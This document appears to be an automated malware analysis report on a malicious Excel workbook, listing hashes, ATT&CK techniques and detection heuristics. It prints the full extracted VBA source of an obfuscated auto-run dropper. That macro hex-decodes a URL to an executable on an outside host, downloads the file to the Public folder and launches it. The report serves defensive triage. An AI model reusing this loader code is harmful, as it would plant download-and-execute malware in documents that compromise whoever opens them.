Office (OOXML) malware analysis — malicious · 8d3996209ba2ecdf

MALICIOUS

Office (OOXML)

223.7 KB First seen: 2020-09-07

MD5: ac90ac3cf422e675512dc860cdc3526b SHA-1: 6d1d1516ec2f58996091503a15826ff3c52095b6 SHA-256: 8d3996209ba2ecdf049096fbe494f5cb082441a864ddef20239954e8e8b8adb3

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a Workbook_Open VBA macro that is obfuscated and designed to execute automatically. This macro attempts to download a file from the URL 'https://laopermanentmissionjakartagovla/yea/igfhmgmt.exe' and execute it. This behavior is consistent with a macro-based dropper designed to fetch and run a second-stage payload.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
uudajdhznghilrregvawdyvuwwkkodwazjwpyggqmspykkpgzsygfxxvzjentwkkjhicvbfzpjkljwjmhelwfqucmbqocsxph.write vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A7:J14").Select
Set vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta = CreateObject(keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A7:J14").Select
Set vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta = CreateObject(keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6610 bytes
SHA-256: `95d03eb034a236d9c65b1cbc69b6aa7e3dddaa953eb5cb877ee0b8b64e5100ac`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A7:J14").Select kalypjwsqnbepautezxvqmdjdipgsdpdqxywrlxhfvxbfexkapkcnwlyxbvguqanxxorbxbscqqvobdykffcsmptmazqqqnou"68 74 74 70 73 3A 2F 2F 6C 61 6F 70 65 72 6D 61 6E 65 6E 74 6D 69 73 73 69 6F 6E 2D 6A 61 6B 61 72 74 61 2E 67 6F 76 2E 6C 61 2F 79 65 61 2F 69 67 66 78 6D 67 6D 74 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub kalypjwsqnbepautezxvqmdjdipgsdpdqxywrlxhfvxbfexkapkcnwlyxbvguqanxxorbxbscqqvobdykffcsmptmazqqqnou (zkjjlqhwxvrkyfyonuvqegrviekzvoltmxvumuvyoeervhjkwashnmustoagfhbikxxajdbsyxbzczabvaduvegaccbyupsgc As String) Dim vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta Range("A7:J14").Select Dim uudajdhznghilrregvawdyvuwwkkodwazjwpyggqmspykkpgzsygfxxvzjentwkkjhicvbfzpjkljwjmhelwfqucmbqocsxph Range("A7:J14").Select Dim fpdbnlymyrvmmldarfoloftmgqtkrxwmudehglutnkgzypzqnnkmietzwqvxrnuaujsihwuglvxeytoqqdxdnjepkekpqwbap Range("A7:J14").Select Set vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta = CreateObject(keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A7:J14").Select Set vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta = CreateObject(keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta = CreateObject(keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta = CreateObject(keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set uudajdhznghilrregvawdyvuwwkkodwazjwpyggqmspykkpgzsygfxxvzjentwkkjhicvbfzpjkljwjmhelwfqucmbqocsxph = CreateObject(keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set fpdbnlymyrvmmldarfoloftmgqtkrxwmudehglutnkgzypzqnnkmietzwqvxrnuaujsihwuglvxeytoqqdxdnjepkekpqwbap = CreateObject(keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) kskqjzhaserbbgqpifnzzcybtyosptwasgpcqxpubiwyiezraashkoaitjwklokzhqjvrnykqtyqfatpzxrpbpqdfgihafjmy = keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu(zkjjlqhwxvrkyfyonuvqegrviekzvoltmxvumuvyoeervhjkwashnmustoagfhbikxxajdbsyxbzczabvaduvegaccbyupsgc) xqrvdambhqrqjctqhlnxvxsafqkfrkljlsijbtvxeotyynveprstvpdzyqqnqhkxfhfrujoopqsgetcsufqarrnvpilkdihxd = keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 61 77 63 67 65 64 71 6F 76 2e 65 78 65") wsqidkfceefxwvfoxskrjfoujclyekgjvdialkqvkymniysnfvfqwguqewybygxuxvctmednbogltblljxtifqmpirwolpwea = keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 61 77 63 67 65 64 71 6F 76 2e 65 78 65") vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta.Open chr(71) + chr(69) + chr(84), kskqjzhaserbbgqpifnzzcybtyosptwasgpcqxpubiwyiezraashkoaitjwklokzhqjvrnykqtyqfatpzxrpbpqdfgihafjmy, False vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta.send uudajdhznghilrregvawdyvuwwkkodwazjwpyggqmspykkpgzsygfxxvzjentwkkjhicvbfzpjkljwjmhelwfqucmbqocsxph.Type = 1 uudajdhznghilrregvawdyvuwwkkodwazjwpyggqmspykkpgzsygfxxvzjentwkkjhicvbfzpjkljwjmhelwfqucmbqocsxph.Open uudajdhznghilrregvawdyvuwwkkodwazjwpyggqmspykkpgzsygfxxvzjentwkkjhicvbfzpjkljwjmhelwfqucmbqocsxph.write vhxjiasyajqkvqtnzkfegmfrwxgccyjevxhscrmzkwvupphmikvencwibgnltqvbalpxjblhyftkqkcgpttscersbyqwebfta.responseBody uudajdhznghilrregvawdyvuwwkkodwazjwpyggqmspykkpgzsygfxxvzjentwkkjhicvbfzpjkljwjmhelwfqucmbqocsxph.savetofile xqrvdambhqrqjctqhlnxvxsafqkfrkljlsijbtvxeotyynveprstvpdzyqqnqhkxfhfrujoopqsgetcsufqarrnvpilkdihxd, 2 fpdbnlymyrvmmldarfoloftmgqtkrxwmudehglutnkgzypzqnnkmietzwqvxrnuaujsihwuglvxeytoqqdxdnjepkekpqwbap.Run wsqidkfceefxwvfoxskrjfoujclyekgjvdialkqvkymniysnfvfqwguqewybygxuxvctmednbogltblljxtifqmpirwolpwea End Sub Public Function keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu(ByVal fepxqjrtdbmgobccegopqnlecycleqpuxospzszugjkirivdinlpmkystkvsgfpmlsjaindlhujhccmtdzcrfzhnpzvoxgnau As String) As String Dim xwzzvuvkzirbrpqxbphdyhmkvkirooahimfgnuhehggqqmyjeqvrgxwqjodkldvkhksfkkkhhcvrbvujmymysjblqowzqxsdl As String Dim vjfttzugnkdbepnutynqxryjgownlrkkrffmoptzsrfyxklzjewyfnodkwnedhvwasjzjbgefnyfmzlwdwegumeercbrcowkw As String Dim iyeamphxsssoiqklqagcocooehgzpbqqojebgwrhwibtmqimqfmoqhhgkqveiiirbbazmjftjzgfaubnyuijocagbxqpamyoz As Long For iyeamphxsssoiqklqagcocooehgzpbqqojebgwrhwibtmqimqfmoqhhgkqveiiirbbazmjftjzgfaubnyuijocagbxqpamyoz = 1 To Len(fepxqjrtdbmgobccegopqnlecycleqpuxospzszugjkirivdinlpmkystkvsgfpmlsjaindlhujhccmtdzcrfzhnpzvoxgnau)Step 3 xwzzvuvkzirbrpqxbphdyhmkvkirooahimfgnuhehggqqmyjeqvrgxwqjodkldvkhksfkkkhhcvrbvujmymysjblqowzqxsdl = Chr$(Val("&H" & Mid$(fepxqjrtdbmgobccegopqnlecycleqpuxospzszugjkirivdinlpmkystkvsgfpmlsjaindlhujhccmtdzcrfzhnpzvoxgnau, iyeamphxsssoiqklqagcocooehgzpbqqojebgwrhwibtmqimqfmoqhhgkqveiiirbbazmjftjzgfaubnyuijocagbxqpamyoz, 2))) vjfttzugnkdbepnutynqxryjgownlrkkrffmoptzsrfyxklzjewyfnodkwnedhvwasjzjbgefnyfmzlwdwegumeercbrcowkw = vjfttzugnkdbepnutynqxryjgownlrkkrffmoptzsrfyxklzjewyfnodkwnedhvwasjzjbgefnyfmzlwdwegumeercbrcowkw & xwzzvuvkzirbrpqxbphdyhmkvkirooahimfgnuhehggqqmyjeqvrgxwqjodkldvkhksfkkkhhcvrbvujmymysjblqowzqxsdl Next iyeamphxsssoiqklqagcocooehgzpbqqojebgwrhwibtmqimqfmoqhhgkqveiiirbbazmjftjzgfaubnyuijocagbxqpamyoz keiqgicosaxgpjwywwokxukiuebylblcbaewvidxcoamrnwqdrutyexpu = vjfttzugnkdbepnutynqxryjgownlrkkrffmoptzsrfyxklzjewyfnodkwnedhvwasjzjbgefnyfmzlwdwegumeercbrcowkw End Function Attribute VB_Name = "sqmvzbasrpizixdkmrb" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `08ec39af77aac099da0284fb69005b02dbb4b0859ca41cf1120d61c6caf6b852`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 125 of 202 identifiers look randomly generated (e.g. 'sqmvzbasrpizixdkmrb') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.